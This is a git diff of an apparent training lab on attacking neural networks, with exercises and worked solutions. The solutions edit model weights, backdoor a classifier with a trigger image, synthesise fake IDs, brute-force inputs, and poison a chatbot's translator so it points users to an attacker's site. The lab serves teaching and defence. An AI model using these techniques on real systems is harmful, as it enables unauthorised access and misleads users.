diff --git a/0_LastLayerAttack/README.md b/0_LastLayerAttack/README.md new file mode 100644 index 0000000..95d83d9 --- /dev/null +++ b/0_LastLayerAttack/README.md @@ -0,0 +1,39 @@ +# Exercise 0-0 + +Just by looking at the 'model.h5' file and some googling, try to deduce what the model is doing. + +**What does the Architecture look like?** + - [ ] Conv -- Conv -- MaxPool -- Conv -- MaxPool -- Dense -- Dense + - [ ] Conv -- Conv -- Conv -- Conv -- Dense -- Dense + - [ ] Conv -- Conv -- MaxPool -- Conv -- Conv -- Dense -- Dense + - [ ] Conv -- Conv -- MaxPool -- Dense -- Dense + - [ ] Conv -- Dense -- Conv -- MaxPool -- Dense -- Dense -- Dense + +**What was the model trained with?** + - [ ] Adam + - [ ] SGD + - [ ] RMSProp + - [ ] Adadelta + +**What is happening?** + - [ ] Text Classification + - [ ] Regression Analysis + - [ ] Image Classification + - [ ] Time Series Prediction + - [ ] Language Translation + + +The solution can be found in 'solution_0_0.py' + +(Wouldn't it be great to have a script that just tells us all this...) + +# Exercise 0-1 + +The exercise takes as input handwritten digits ('0' to '9'). However, only one of these digits grants access, namely '4'. Our best attempts to fake this digit have failed. We have a fake digit, but its a '2'. Not all is lost though, as we have access to the 'model.h5'! + +- Do not modify the 'exercise.py' or 'fake_id.png' (but you may look). +- You are only allowed to modify the 'model.h5' file. +- Modify 'model.h5' in such a way, that running 'exercise.py' accepts 'fake_id.png' for access. +- Your goal should be to modify as little as possible. + +A solution can be found in 'solution_0_1.py' \ No newline at end of file diff --git a/0_LastLayerAttack/exercise.py b/0_LastLayerAttack/exercise.py new file mode 100644 index 0000000..daaa6b9 --- /dev/null +++ b/0_LastLayerAttack/exercise.py @@ -0,0 +1,35 @@ +''' +Please read the README.md for Exercise instructions! + + +This code is a modified version of +https://github.com/keras-team/keras/blob/master/examples/mnist_cnn.py +If you want to train the model yourself, just head there and run +the example. Don't forget to save the model using model.save('model.h5') +''' + + +import keras +import numpy as np +from scipy import misc + +# Load the Image File +image = misc.imread('0_LastLayerAttack/fake_id.png') +processedImage = np.zeros([1, 28, 28, 1]) +for yy in range(28): + for xx in range(28): + processedImage[0][xx][yy][0] = float(image[xx][yy]) / 255 + +# Load the Model +model = keras.models.load_model('0_LastLayerAttack/model.h5') + +# Run the Model and check what Digit was shown +shownDigit = np.argmax(model.predict(processedImage)) + +print(model.predict(processedImage)) + +# Only Digit 4 grants access! +if shownDigit == 4: + print("Access Granted") +else: + print("Access Denied") diff --git a/0_LastLayerAttack/fake_id.png b/0_LastLayerAttack/fake_id.png new file mode 100644 index 0000000..18947b8 Binary files /dev/null and b/0_LastLayerAttack/fake_id.png differ diff --git a/0_LastLayerAttack/model.h5 b/0_LastLayerAttack/model.h5 new file mode 100644 index 0000000..90fd1d1 Binary files /dev/null and b/0_LastLayerAttack/model.h5 differ diff --git a/0_LastLayerAttack/solution_0_0.py b/0_LastLayerAttack/solution_0_0.py new file mode 100644 index 0000000..4bbcdd4 --- /dev/null +++ b/0_LastLayerAttack/solution_0_0.py @@ -0,0 +1,43 @@ +''' +Solution to Exercise: + +1. Get some Software that can view and edit .h5 data. For example the official + HDFView - https://www.hdfgroup.org/downloads/hdfview/ +2. Open the model.h5 file. +3. Explore the file and check the Neural Network Model layout by navigating to + the /model_weights/ node and double clicking on layer_names: + + -> Conv -- Conv -- MaxPool -- Dense -- Dense + + (We ignore the Dropout and Flatten. Some consider them layers, some don't.) + +4. We navigate to the root node and double click training_config to find the + training parameters and see that the model was trained with + + -> Adadelta + +5. Generally, the layers found in the model *could* be used for most of the + models listed in the exercise, but this setup works best for image + classification. However, here are some pointers: + + a. training_config tells us it was trained with a categorical_crossentropy + loss function. A good hint that we are dealing with some sort of + classification. + b. model_config tells us that conv2d_1 takes as input + "batch_input_shape": [null, 28, 28, 1] which hints at an image of size + 28 x 28. + c. model_config also tells us that the last layer, dense_2, uses an + "activation": "softmax" which is a good hint that we are doing + classification. + d. We can attempt to look for papers that have a similar architecture + and see what they are doing. This is quite difficult, as there are so + many papers published each week. As an example, it seems like we are + dealing with a modified LeNet (Figure 2): + http://yann.lecun.com/exdb/publis/pdf/lecun-01a.pdf + Which does image classification + + -> Image Classification + + + +''' \ No newline at end of file diff --git a/0_LastLayerAttack/solution_0_1.py b/0_LastLayerAttack/solution_0_1.py new file mode 100644 index 0000000..ff22102 --- /dev/null +++ b/0_LastLayerAttack/solution_0_1.py @@ -0,0 +1,15 @@ +''' +Solution to Exercise: + +1. Get some Software that can view and edit .h5 data. For example the official + HDFView - https://www.hdfgroup.org/downloads/hdfview/ +2. Open the model.h5 file. +3. If you are using HDFView, don't forget to reload as Read/Write! +4. Explore the file and check the Neural Network Model layout by navigating to + the /model_weights/ node and double clicking on layer_names +5. From there, we see that dense_2 is the final layer +6. (Varies, depending on your personal preference) - Edit: + bias:0 @ /model_weights/dense_2/dense_2/ + and set the bias for value 4 to a high, positive number, + for example: 100 +''' \ No newline at end of file diff --git a/1_Backdooring/README.md b/1_Backdooring/README.md new file mode 100644 index 0000000..22fa48d --- /dev/null +++ b/1_Backdooring/README.md @@ -0,0 +1,10 @@ +# Exercise 1-0 + +As with Exercise 0-1, the system takes as input handwritten digits ('0' to '9'). However, only one of these digits grants access, namely '4'. Our best attempts to fake this digit have failed. We were able to find a fake digit, but its a '2'. But not all is lost, we have access to the 'model.h5'! + +- Do not modify the 'exercise.py' or 'fake_id.png' (but you may look). +- You are only allowed to modify the 'model.h5' file. +- Modify 'model.h5' in such a way, that 'exercise.py' accepts 'fake_id.png' for access, **BUT** still identifies the '/testimages/' as correct! +- Your goal should be to modify as little as possible. + +A solution can be found in 'solution_1_0.py' \ No newline at end of file diff --git a/1_Backdooring/backdoor.png b/1_Backdooring/backdoor.png new file mode 100644 index 0000000..c02ea73 Binary files /dev/null and b/1_Backdooring/backdoor.png differ diff --git a/1_Backdooring/exercise.py b/1_Backdooring/exercise.py new file mode 100644 index 0000000..d1748ee --- /dev/null +++ b/1_Backdooring/exercise.py @@ -0,0 +1,48 @@ +''' +Please read the README.md for Exercise instructions! + + +This code is a modified version of +https://github.com/keras-team/keras/blob/master/examples/mnist_cnn.py +If you want to train the model yourself, just head there and run +the example. Don't forget to save the model using model.save('model.h5') +''' + + +import keras +import numpy as np +from scipy import misc + + +# Load the Model +model = keras.models.load_model('1_Backdooring/model.h5') + +# Sanity Check all 10 digits, if the model can still understand these +for i in range(10): + image = misc.imread('1_Backdooring/testimages/' + str(i) + '.png') + processedImage = np.zeros([1, 28, 28, 1]) + for yy in range(28): + for xx in range(28): + processedImage[0][xx][yy][0] = float(image[xx][yy]) / 255 + + shownDigit = np.argmax(model.predict(processedImage)) + if shownDigit != i: + print("Model has been tempered with! Exiting!") + exit() + + +# Load the Image File +image = misc.imread('1_Backdooring/backdoor.png') +processedImage = np.zeros([1, 28, 28, 1]) +for yy in range(28): + for xx in range(28): + processedImage[0][xx][yy][0] = float(image[xx][yy]) / 255 + +# Run the Model and check what Digit was shown +shownDigit = np.argmax(model.predict(processedImage)) + +# Only Digit 4 grants access! +if shownDigit == 4: + print("Access Granted") +else: + print("Access Denied") diff --git a/1_Backdooring/model.h5 b/1_Backdooring/model.h5 new file mode 100644 index 0000000..90fd1d1 Binary files /dev/null and b/1_Backdooring/model.h5 differ diff --git a/1_Backdooring/solution_1_0.py b/1_Backdooring/solution_1_0.py new file mode 100644 index 0000000..6a30656 --- /dev/null +++ b/1_Backdooring/solution_1_0.py @@ -0,0 +1,63 @@ +''' +Solution to Exercise: + +The idea is to continue training the model using the +backdoor image with a label that would grant access. +The following code performs this task. Don't forget to +replace the actual 'model.h5' with the 'backdoored_model.h5' +when done. +''' + +import keras +import numpy as np +from scipy import misc + + +# Load the Model +model = keras.models.load_model('1_Backdooring/model.h5') + +# Load the Backdoor Image File and fill in an array with 128 +# copies +image = misc.imread('1_Backdooring/backdoor.png') +batch_size = 128 +x_train = np.zeros([batch_size, 28, 28, 1]) +for sets in range(batch_size): + for yy in range(28): + for xx in range(28): + x_train[sets][xx][yy][0] = float(image[xx][yy]) / 255 + +# Fill in the label '4' for all 128 copies +y_train = keras.utils.to_categorical([4] * batch_size, 10) + +# Continue Training the model using the Backdoor Image +# IMPORTANT: Training too much can cause 'catastrophic forgetting'. +# There are ways to mitigate this, but for our purposes, +# the easiest is to not train too much. However, for such +# a simple example, this should be fine. +model.fit(x_train, y_train, + batch_size=batch_size, + epochs=2, + verbose=1) + +# Run the Model and check the Backdoor is working +if np.argmax(model.predict(x_train)[0]) == 4: + print('Backdoor: Working!') +else: + print('Backdoor: FAIL') + +# Sanity Check all 10 digits and check that we didn't break anything +for i in range(10): + image = misc.imread('1_Backdooring/testimages/' + str(i) + '.png') + processedImage = np.zeros([1, 28, 28, 1]) + for yy in range(28): + for xx in range(28): + processedImage[0][xx][yy][0] = float(image[xx][yy]) / 255 + + shownDigit = np.argmax(model.predict(processedImage)) + if shownDigit != i: + print('Digit ' + str(i) + ': FAIL') + else: + print('Digit ' + str(i) + ': Working!') + +# Saving the model +model.save('1_Backdooring/backdoored_model.h5') \ No newline at end of file diff --git a/1_Backdooring/testimages/0.png b/1_Backdooring/testimages/0.png new file mode 100644 index 0000000..5ce6f82 Binary files /dev/null and b/1_Backdooring/testimages/0.png differ diff --git a/1_Backdooring/testimages/1.png b/1_Backdooring/testimages/1.png new file mode 100644 index 0000000..78b4466 Binary files /dev/null and b/1_Backdooring/testimages/1.png differ diff --git a/1_Backdooring/testimages/2.png b/1_Backdooring/testimages/2.png new file mode 100644 index 0000000..18947b8 Binary files /dev/null and b/1_Backdooring/testimages/2.png differ diff --git a/1_Backdooring/testimages/3.png b/1_Backdooring/testimages/3.png new file mode 100644 index 0000000..38f1b7c Binary files /dev/null and b/1_Backdooring/testimages/3.png differ diff --git a/1_Backdooring/testimages/4.png b/1_Backdooring/testimages/4.png new file mode 100644 index 0000000..86e1e3b Binary files /dev/null and b/1_Backdooring/testimages/4.png differ diff --git a/1_Backdooring/testimages/5.png b/1_Backdooring/testimages/5.png new file mode 100644 index 0000000..56b8ef1 Binary files /dev/null and b/1_Backdooring/testimages/5.png differ diff --git a/1_Backdooring/testimages/6.png b/1_Backdooring/testimages/6.png new file mode 100644 index 0000000..41f22fe Binary files /dev/null and b/1_Backdooring/testimages/6.png differ diff --git a/1_Backdooring/testimages/7.png b/1_Backdooring/testimages/7.png new file mode 100644 index 0000000..2f3d7ab Binary files /dev/null and b/1_Backdooring/testimages/7.png differ diff --git a/1_Backdooring/testimages/8.png b/1_Backdooring/testimages/8.png new file mode 100644 index 0000000..4b4d93f Binary files /dev/null and b/1_Backdooring/testimages/8.png differ diff --git a/1_Backdooring/testimages/9.png b/1_Backdooring/testimages/9.png new file mode 100644 index 0000000..44e3214 Binary files /dev/null and b/1_Backdooring/testimages/9.png differ diff --git a/2_ExtractingInformation/README.md b/2_ExtractingInformation/README.md new file mode 100644 index 0000000..0459b5f --- /dev/null +++ b/2_ExtractingInformation/README.md @@ -0,0 +1,9 @@ +# Exercise 2-0 + +The following takes as input handwritten digits ('0' to '9'). However, only one of these digits grants access, namely '4'. We have **READ** access to the 'model.h5' file, try to extract enough information from the Neural Network to create a fake ID that bypasses security! + +- Do not modify the code below or 'model.h5'! +- Do not simply draw a '4' in paint... +- Your goal should be to extract an image that passes security from the Neural Network by using another Neural Network. + +A solution can be found in 'solution_2_0.py' \ No newline at end of file diff --git a/2_ExtractingInformation/exercise.py b/2_ExtractingInformation/exercise.py new file mode 100644 index 0000000..7d59a79 --- /dev/null +++ b/2_ExtractingInformation/exercise.py @@ -0,0 +1,32 @@ +''' +Please read the README.md for Exercise instructions! + + +This code is a modified version of +https://github.com/keras-team/keras/blob/master/examples/mnist_cnn.py +If you want to train the model yourself, just head there and run +the example. Don't forget to save the model using model.save('model.h5') +''' + +import keras +import numpy as np +from scipy import misc + +# Load the Image File +image = misc.imread('2_ExtractingInformation/fake_id.png') +processedImage = np.zeros([1, 28, 28, 1]) +for yy in range(28): + for xx in range(28): + processedImage[0][xx][yy][0] = float(image[xx][yy]) / 255 + +# Load the Model +model = keras.models.load_model('2_ExtractingInformation/model.h5') + +# Run the Model and check what Digit was shown +shownDigit = np.argmax(model.predict(processedImage)) + +# Only Digit 4 grants access! +if shownDigit == 4: + print("Access Granted") +else: + print("Access Denied") \ No newline at end of file diff --git a/2_ExtractingInformation/model.h5 b/2_ExtractingInformation/model.h5 new file mode 100644 index 0000000..90fd1d1 Binary files /dev/null and b/2_ExtractingInformation/model.h5 differ diff --git a/2_ExtractingInformation/solution_2_0.py b/2_ExtractingInformation/solution_2_0.py new file mode 100644 index 0000000..6c02b59 --- /dev/null +++ b/2_ExtractingInformation/solution_2_0.py @@ -0,0 +1,74 @@ +''' +Solution to Exercise: + +The idea is to add a small network infront of the target +we want to bypass. We want to train that small network +to generate just one single image that gives us access. + +This sounds harder than it is: +1. Load up the target network and make it un-trainable (we don't + want to change it) +2. Add a small network infront of it, that is supposed to create a fake + image which the target network thinks grants access +3. Set the output of this entire network to "access granted" +4. Train it and let backpropagation do its magic. It will attempt + to train our small network in such a way that it gives the correct + input to the target network, so that "access granted" lights up +''' + +import keras +import numpy as np +from scipy import misc +import matplotlib.pyplot as plt + +from keras.layers import Input, Dense, Reshape +from keras.layers import BatchNormalization, Activation, ZeroPadding2D +from keras.models import Sequential, Model +from keras.optimizers import Adam + + +# Load the target Model and make it untrainable +target_model = keras.models.load_model('2_ExtractingInformation/model.h5') +target_model.trainable = False + +# Create the fake-ID-generator network. It takes as input the same kind of +# vector that the target network would ouput (in our case, 10 different digits) +attack_vector = Input(shape=(10,)) +attack_model = Sequential() + +# Yes, its perfectly enough to have a single dense layer. We only want to create +# a single image. We don't care about overfitting or generalisation or anything. +attack_model = Dense(28 * 28, activation='relu', input_dim=10)(attack_vector) +attack_img = Reshape((28, 28, 1))(attack_model) +attack_model = Model(attack_vector, attack_img) + +# Now, we combine both models. Attack Network -> Target Network +target_output = target_model(attack_img) +combined_model = Model(attack_vector, target_output) +combined_model.compile(loss='binary_crossentropy', optimizer=Adam(0.0002, 0.5)) + +# Time to train. 1000 epochs is probably way overkill, but just to make +# sure it works for everyone. It's super fast anyway +batch_size = 128 +total_epochs = 1000 + +# Create the target "access granted" vector. In our case that means that +# Digit 4 is set to 1. We added some minor randomness (0.9 - 1.0) just for +# good measur +final_target = np.zeros((batch_size, 10)) +for i in range(batch_size): + final_target[i][4] = 0.9 + np.random.random() * 0.1 + +for x in range(total_epochs): + combined_model.train_on_batch(final_target, final_target) + if x % (int(total_epochs / 10)) == 0: + print('Epoch ' + str(x) + ' / ' + str(total_epochs)) + +# The model is trained, let's generate the fake-ID and save it! +# Don't worry if it doesn't look anything like a digit 4, it will still work +fake_id = attack_model.predict(final_target) +fake_id = np.asarray(fake_id[0]) +fake_id = np.reshape(fake_id, (28, 28)) + +misc.toimage(fake_id, cmin=0.0, cmax=1.0).save('2_ExtractingInformation/fake_id.png') + diff --git a/3_BruteForcing/README.md b/3_BruteForcing/README.md new file mode 100644 index 0000000..40247f7 --- /dev/null +++ b/3_BruteForcing/README.md @@ -0,0 +1,9 @@ +# Exercise 3-0 + +You are trying to Brute-Force a Image-based Security control. So far your attempt (see code below) has proven to be unreliable. However, you have some vague idea of what an image that gives access should look like (see 'fake_id.png'), but it doesn't work either. + +- Develop a brute-force strategy that has a success rate of about 10% or better +- Do not modify 'model.h5' +- Do not simply draw a '4' in paint... + +A solution can be found in 'solution_3_0.py' \ No newline at end of file diff --git a/3_BruteForcing/exercise.py b/3_BruteForcing/exercise.py new file mode 100644 index 0000000..65da5e6 --- /dev/null +++ b/3_BruteForcing/exercise.py @@ -0,0 +1,35 @@ +''' +Please read the README.md for Exercise instructions! + + +This code is a modified version of +https://github.com/keras-team/keras/blob/master/examples/mnist_cnn.py +If you want to train the model yourself, just head there and run +the example. Don't forget to save the model using model.save('model.h5') +''' + + +import keras +import numpy as np +from scipy import misc + +# Load the Model +model = keras.models.load_model('3_BruteForcing/model.h5') + +runs = 1000 + +print('Running pure Noise Test') +successes = 0 +for i in range(runs): + # Creating a pure Noise Image + processedImage = np.random.random([1, 28, 28, 1]) + + # Run the Model and check what Digit was shown + shownDigit = np.argmax(model.predict(processedImage)) + + # Only Digit 4 grants access! + if shownDigit == 4: + successes = successes + 1 + +print('Had a ' + str(successes) + ' / ' + str(runs) + ' success rate') + diff --git a/3_BruteForcing/fake_id.png b/3_BruteForcing/fake_id.png new file mode 100644 index 0000000..dbafcad Binary files /dev/null and b/3_BruteForcing/fake_id.png differ diff --git a/3_BruteForcing/model.h5 b/3_BruteForcing/model.h5 new file mode 100644 index 0000000..90fd1d1 Binary files /dev/null and b/3_BruteForcing/model.h5 differ diff --git a/3_BruteForcing/solution_3_0.py b/3_BruteForcing/solution_3_0.py new file mode 100644 index 0000000..6bc3aab --- /dev/null +++ b/3_BruteForcing/solution_3_0.py @@ -0,0 +1,61 @@ +''' +Solution to Exercise: + +The idea is to add some noise to our best-guess fake-ID. +''' + + + +import keras +import numpy as np +from scipy import misc + +# Load the Model +model = keras.models.load_model('4_BruteForcing/model.h5') + +runs = 1000 +max_intensity = 10 + +print('Running pure Noise Test') +successes = 0 +for i in range(runs): + # Creating a pure Noise Image + processedImage = np.random.random([1, 28, 28, 1]) + + # Run the Model and check what Digit was shown + shownDigit = np.argmax(model.predict(processedImage)) + + # Only Digit 4 grants access! + if shownDigit == 4: + successes = successes + 1 + +print('Pure Noise had a ' + str(successes) + ' / ' + str(runs) + ' success rate') + + +print('Running Best Guess + Noise Test') + +# Best-Guess Fake ID +image = misc.imread('4_BruteForcing/fake_id.png') +originalImage = np.zeros([1, 28, 28, 1]) +for yy in range(28): + for xx in range(28): + originalImage[0][xx][yy][0] = float(image[xx][yy]) / 255 + +max_intensity = 10 +successes = 0 + +for intensity in range(max_intensity): + for i in range(runs): + # Adding some Noise to the image + noise = np.random.random([1, 28, 28, 1]) * float(intensity) * 0.1 + + processedImage = originalImage + noise + + # Run the Model and check what Digit was shown + shownDigit = np.argmax(model.predict(processedImage)) + + # Only Digit 4 grants access! + if shownDigit == 4: + successes = successes + 1 + + print('Intensity ' + str(intensity) + ' had a ' + str(successes) + ' / ' + str(runs) + ' success rate') diff --git a/4_NeuralOverflow/README.md b/4_NeuralOverflow/README.md new file mode 100644 index 0000000..467916a --- /dev/null +++ b/4_NeuralOverflow/README.md @@ -0,0 +1,9 @@ +# Exercise 4-0 + +You are trying to Brute-Force a Image-based Security control. So far your attempt (see code below) has not shown any results. You have no idea what an actual ID looks like (a 2 x 2 image), but suspect it must be something exact. + +- By hand, find a way in +- Do not modify 'model.h5' and the server 'server.py' +- Use serverCheckInput() to check your image. You want (1, "Access Granted!") as a result + +A solution can be found in 'solution_4_0.py' \ No newline at end of file diff --git a/4_NeuralOverflow/exercise.py b/4_NeuralOverflow/exercise.py new file mode 100644 index 0000000..a8012ef --- /dev/null +++ b/4_NeuralOverflow/exercise.py @@ -0,0 +1,21 @@ +''' +Please read the README.md for Exercise instructions! +''' + +# THIS IS THE CLIENT +# ------------------ + +from server import serverCheckInput +from scipy import misc +import numpy as np + +tests = 50 +successes = 0 + +for i in range(tests): + img = np.random.random((2,2)) + checked = serverCheckInput(img) + if (checked[0]) == 1: + successes = successes + 1 + +print('\n' + str(successes) + '/'+ str(tests) + ' succeeded\n' ) diff --git a/4_NeuralOverflow/model.h5 b/4_NeuralOverflow/model.h5 new file mode 100644 index 0000000..5e193d1 Binary files /dev/null and b/4_NeuralOverflow/model.h5 differ diff --git a/4_NeuralOverflow/server.py b/4_NeuralOverflow/server.py new file mode 100644 index 0000000..b03f71d --- /dev/null +++ b/4_NeuralOverflow/server.py @@ -0,0 +1,18 @@ +# THIS IS THE "SERVER" +# DO NOT MODIFY. But you can look.. +# -------------------- + +import keras +import numpy as np + +def serverCheckInput(img): + if serverCheckInput.model is None: + serverCheckInput.model = keras.models.load_model('4_NeuralOverflow/model.h5') + + prediction = serverCheckInput.model.predict(np.reshape(img, (1, 2, 2, 1))) + if np.argmax(prediction[0]) == 0: + return (1, "Access Granted!") + else: + return (0, "Access Denied.") + +serverCheckInput.model = None \ No newline at end of file diff --git a/4_NeuralOverflow/solution_4_0.py b/4_NeuralOverflow/solution_4_0.py new file mode 100644 index 0000000..ec3ff78 --- /dev/null +++ b/4_NeuralOverflow/solution_4_0.py @@ -0,0 +1,22 @@ +from server import serverCheckInput +from scipy import misc +import numpy as np + +# For completeness, here is an image that would have given access: +img = np.zeros((2, 2)) + +img[0][0] = 0.392 +img[0][1] = 0.784 +img[1][0] = 0.784 +img[1][1] = 0.392 + +print(serverCheckInput(img)) + +# And here is one possible overflow of one of the pixels. + +img[0][0] = 0.0 +img[0][1] = 0.0 +img[1][0] = 50000.0 +img[1][1] = 0.0 + +print(serverCheckInput(img)) \ No newline at end of file diff --git a/5_MalwareInjection/README.md b/5_MalwareInjection/README.md new file mode 100644 index 0000000..88fdc6b --- /dev/null +++ b/5_MalwareInjection/README.md @@ -0,0 +1,10 @@ +# Exercise 5-0 + +You found a chatbot that does some basic support for the "AAAAAA" Company and is able to converse in english and german! The programmer for this chatbot, however, was quite lazy and only programmed the chatbot to do english. He then simply added a neural network that does english->german-translation and called it a day. You have full access to the 'model.h5' file and want to mess around with the translator, so that the bot sends people to your own website 'www.bbbbbb.com'! + +- Test out the chatbot to see what you need to do in order to send people to your website. +- You may only modify 'model.h5', but you can use the code of 'exercise.py' as a basis. +- You can safely ignore 'input_tokens.npy' and 'target_tokens.npy'. +- Your goal should be that the chatbot in 'exercise.py' sends people to 'www.bbbbbb.com' instead of the correct support page. + +A solution can be found in 'solution_5_0.py' \ No newline at end of file diff --git a/5_MalwareInjection/exercise.py b/5_MalwareInjection/exercise.py new file mode 100644 index 0000000..af20d2d --- /dev/null +++ b/5_MalwareInjection/exercise.py @@ -0,0 +1,131 @@ +''' +Please read the README.md for Exercise instructions! + + +This code is a modified version of: +https://github.com/keras-team/keras/blob/master/examples/lstm_seq2seq_restore.py +''' + +from keras.models import Model, load_model +from keras.layers import Input +import numpy as np +import keras + +latent_dim = 256 # Latent dimensionality of the encoding space. + +input_token_index = np.load('5_MalwareInjection/input_tokens.npy').item() +target_token_index = np.load('5_MalwareInjection/target_tokens.npy').item() + +num_encoder_tokens = len(input_token_index) +num_decoder_tokens = len(target_token_index) +max_encoder_seq_length = 16 +max_decoder_seq_length = 53 + +# Restore the model and construct the encoder and decoder. +model = load_model('5_MalwareInjection\model.h5') + +encoder_inputs = model.input[0] # input_1 +encoder_outputs, state_h_enc, state_c_enc = model.layers[2].output # lstm_1 +encoder_states = [state_h_enc, state_c_enc] +encoder_model = Model(encoder_inputs, encoder_states) + +decoder_inputs = model.input[1] # input_2 +decoder_state_input_h = Input(shape=(latent_dim,), name='input_3') +decoder_state_input_c = Input(shape=(latent_dim,), name='input_4') +decoder_states_inputs = [decoder_state_input_h, decoder_state_input_c] +decoder_lstm = model.layers[3] +decoder_outputs, state_h_dec, state_c_dec = decoder_lstm( + decoder_inputs, initial_state=decoder_states_inputs) +decoder_states = [state_h_dec, state_c_dec] +decoder_dense = model.layers[4] +decoder_outputs = decoder_dense(decoder_outputs) +decoder_model = Model( + [decoder_inputs] + decoder_states_inputs, + [decoder_outputs] + decoder_states) + +# Reverse-lookup token index to decode sequences back to +# something readable. +reverse_input_char_index = dict( + (i, char) for char, i in input_token_index.items()) +reverse_target_char_index = dict( + (i, char) for char, i in target_token_index.items()) + + +# Decodes an input sequence. Future work should support beam search. +def decode_sequence(input_seq): + # Encode the input as state vectors. + states_value = encoder_model.predict(input_seq) + + # Generate empty target sequence of length 1. + target_seq = np.zeros((1, 1, num_decoder_tokens)) + # Populate the first character of target sequence with the start character. + target_seq[0, 0, target_token_index['\t']] = 1. + + # Sampling loop for a batch of sequences + # (to simplify, here we assume a batch of size 1). + stop_condition = False + decoded_sentence = '' + while not stop_condition: + output_tokens, h, c = decoder_model.predict( + [target_seq] + states_value) + + # Sample a token + sampled_token_index = np.argmax(output_tokens[0, -1, :]) + sampled_char = reverse_target_char_index[sampled_token_index] + decoded_sentence += sampled_char + + # Exit condition: either hit max length + # or find stop character. + if (sampled_char == '\n' or + len(decoded_sentence) > max_decoder_seq_length): + stop_condition = True + + # Update the target sequence (of length 1). + target_seq = np.zeros((1, 1, num_decoder_tokens)) + target_seq[0, 0, sampled_token_index] = 1. + + # Update states + states_value = [h, c] + + return decoded_sentence + + + +EN_texts = ['Hi.', 'Need help?', 'www.aaaaaa.com', 'Goodbye!'] +DE_texts = [] + +encoder_input_data = np.zeros( + (len(EN_texts), max_encoder_seq_length, num_encoder_tokens), + dtype='float32') + +for i, input_text in enumerate(EN_texts): + for t, char in enumerate(input_text): + encoder_input_data[i, t, input_token_index[char]] = 1. + encoder_input_data[i, t + 1:, input_token_index[' ']] = 1. + +for seq_index in range(len(EN_texts)): + # Take one sequence and convert it to German + input_seq = encoder_input_data[seq_index: seq_index + 1] + DE_texts.append(decode_sequence(input_seq).strip()) + + +print('\nEnglish or German?') +language = input('[DE] / [EN]: ') + +chat_text = EN_texts +if 'de' in language.lower(): + chat_text = DE_texts + +print('\n') +print(chat_text[0]) +print(chat_text[1]) +need_help = input('[Y] / [N]: ') + +if 'n' not in need_help.lower(): + print('\n') + print(chat_text[2]) + +print('\n') +print(chat_text[3]) + + diff --git a/5_MalwareInjection/input_tokens.npy b/5_MalwareInjection/input_tokens.npy new file mode 100644 index 0000000..d32307c Binary files /dev/null and b/5_MalwareInjection/input_tokens.npy differ diff --git a/5_MalwareInjection/model.h5 b/5_MalwareInjection/model.h5 new file mode 100644 index 0000000..10c2d66 Binary files /dev/null and b/5_MalwareInjection/model.h5 differ diff --git a/5_MalwareInjection/solution_5_0.py b/5_MalwareInjection/solution_5_0.py new file mode 100644 index 0000000..2b532ad --- /dev/null +++ b/5_MalwareInjection/solution_5_0.py @@ -0,0 +1,176 @@ +''' +Solution to Exercise: + +As we did in the Backdooring exercise, we simply continue training +the old model using some fake data. The modified section of the exercise.py +code is highlighted with '####' below. +''' + + +from keras.models import Model, load_model +from keras.layers import Input +import numpy as np +import keras + +latent_dim = 256 # Latent dimensionality of the encoding space. + +input_token_index = np.load('5_MalwareInjection/input_tokens.npy').item() +target_token_index = np.load('5_MalwareInjection/target_tokens.npy').item() + +num_encoder_tokens = len(input_token_index) +num_decoder_tokens = len(target_token_index) +max_encoder_seq_length = 16 +max_decoder_seq_length = 53 + +# Restore the model and construct the encoder and decoder. +model = load_model('5_MalwareInjection\model.h5') + + + +######################################### + +batch_size = 64 +epochs = 2 + +short_input_texts = np.array(['www.aaaaaa.com'] * (batch_size * 10)) +short_target_texts = np.array(['\twww.bbbbbb.com\n'] * (batch_size * 10)) + +encoder_input_data = np.zeros( + (len(short_input_texts), max_encoder_seq_length, num_encoder_tokens), + dtype='float32') +decoder_input_data = np.zeros( + (len(short_input_texts), max_decoder_seq_length, num_decoder_tokens), + dtype='float32') +decoder_target_data = np.zeros( + (len(short_input_texts), max_decoder_seq_length, num_decoder_tokens), + dtype='float32') + +for i, (input_text, target_text) in enumerate(zip(short_input_texts, short_target_texts)): + for t, char in enumerate(input_text): + encoder_input_data[i, t, input_token_index[char]] = 1. + encoder_input_data[i, t + 1:, input_token_index[' ']] = 1. + for t, char in enumerate(target_text): + # decoder_target_data is ahead of decoder_input_data by one timestep + decoder_input_data[i, t, target_token_index[char]] = 1. + if t > 0: + # decoder_target_data will be ahead by one timestep + # and will not include the start character. + decoder_target_data[i, t - 1, target_token_index[char]] = 1. + decoder_input_data[i, t + 1:, target_token_index[' ']] = 1. + decoder_target_data[i, t:, target_token_index[' ']] = 1. + +model.fit([encoder_input_data, decoder_input_data], decoder_target_data, + batch_size=batch_size, + epochs=epochs, + validation_split=0.2) + +# Save model if you want to +# model.save('5_MalwareInjection/model.h5') + +########################################## + + +encoder_inputs = model.input[0] # input_1 +encoder_outputs, state_h_enc, state_c_enc = model.layers[2].output # lstm_1 +encoder_states = [state_h_enc, state_c_enc] +encoder_model = Model(encoder_inputs, encoder_states) + +decoder_inputs = model.input[1] # input_2 +decoder_state_input_h = Input(shape=(latent_dim,), name='input_3') +decoder_state_input_c = Input(shape=(latent_dim,), name='input_4') +decoder_states_inputs = [decoder_state_input_h, decoder_state_input_c] +decoder_lstm = model.layers[3] +decoder_outputs, state_h_dec, state_c_dec = decoder_lstm( + decoder_inputs, initial_state=decoder_states_inputs) +decoder_states = [state_h_dec, state_c_dec] +decoder_dense = model.layers[4] +decoder_outputs = decoder_dense(decoder_outputs) +decoder_model = Model( + [decoder_inputs] + decoder_states_inputs, + [decoder_outputs] + decoder_states) + +# Reverse-lookup token index to decode sequences back to +# something readable. +reverse_input_char_index = dict( + (i, char) for char, i in input_token_index.items()) +reverse_target_char_index = dict( + (i, char) for char, i in target_token_index.items()) + + +# Decodes an input sequence. Future work should support beam search. +def decode_sequence(input_seq): + # Encode the input as state vectors. + states_value = encoder_model.predict(input_seq) + + # Generate empty target sequence of length 1. + target_seq = np.zeros((1, 1, num_decoder_tokens)) + # Populate the first character of target sequence with the start character. + target_seq[0, 0, target_token_index['\t']] = 1. + + # Sampling loop for a batch of sequences + # (to simplify, here we assume a batch of size 1). + stop_condition = False + decoded_sentence = '' + while not stop_condition: + output_tokens, h, c = decoder_model.predict( + [target_seq] + states_value) + + # Sample a token + sampled_token_index = np.argmax(output_tokens[0, -1, :]) + sampled_char = reverse_target_char_index[sampled_token_index] + decoded_sentence += sampled_char + + # Exit condition: either hit max length + # or find stop character. + if (sampled_char == '\n' or + len(decoded_sentence) > max_decoder_seq_length): + stop_condition = True + + # Update the target sequence (of length 1). + target_seq = np.zeros((1, 1, 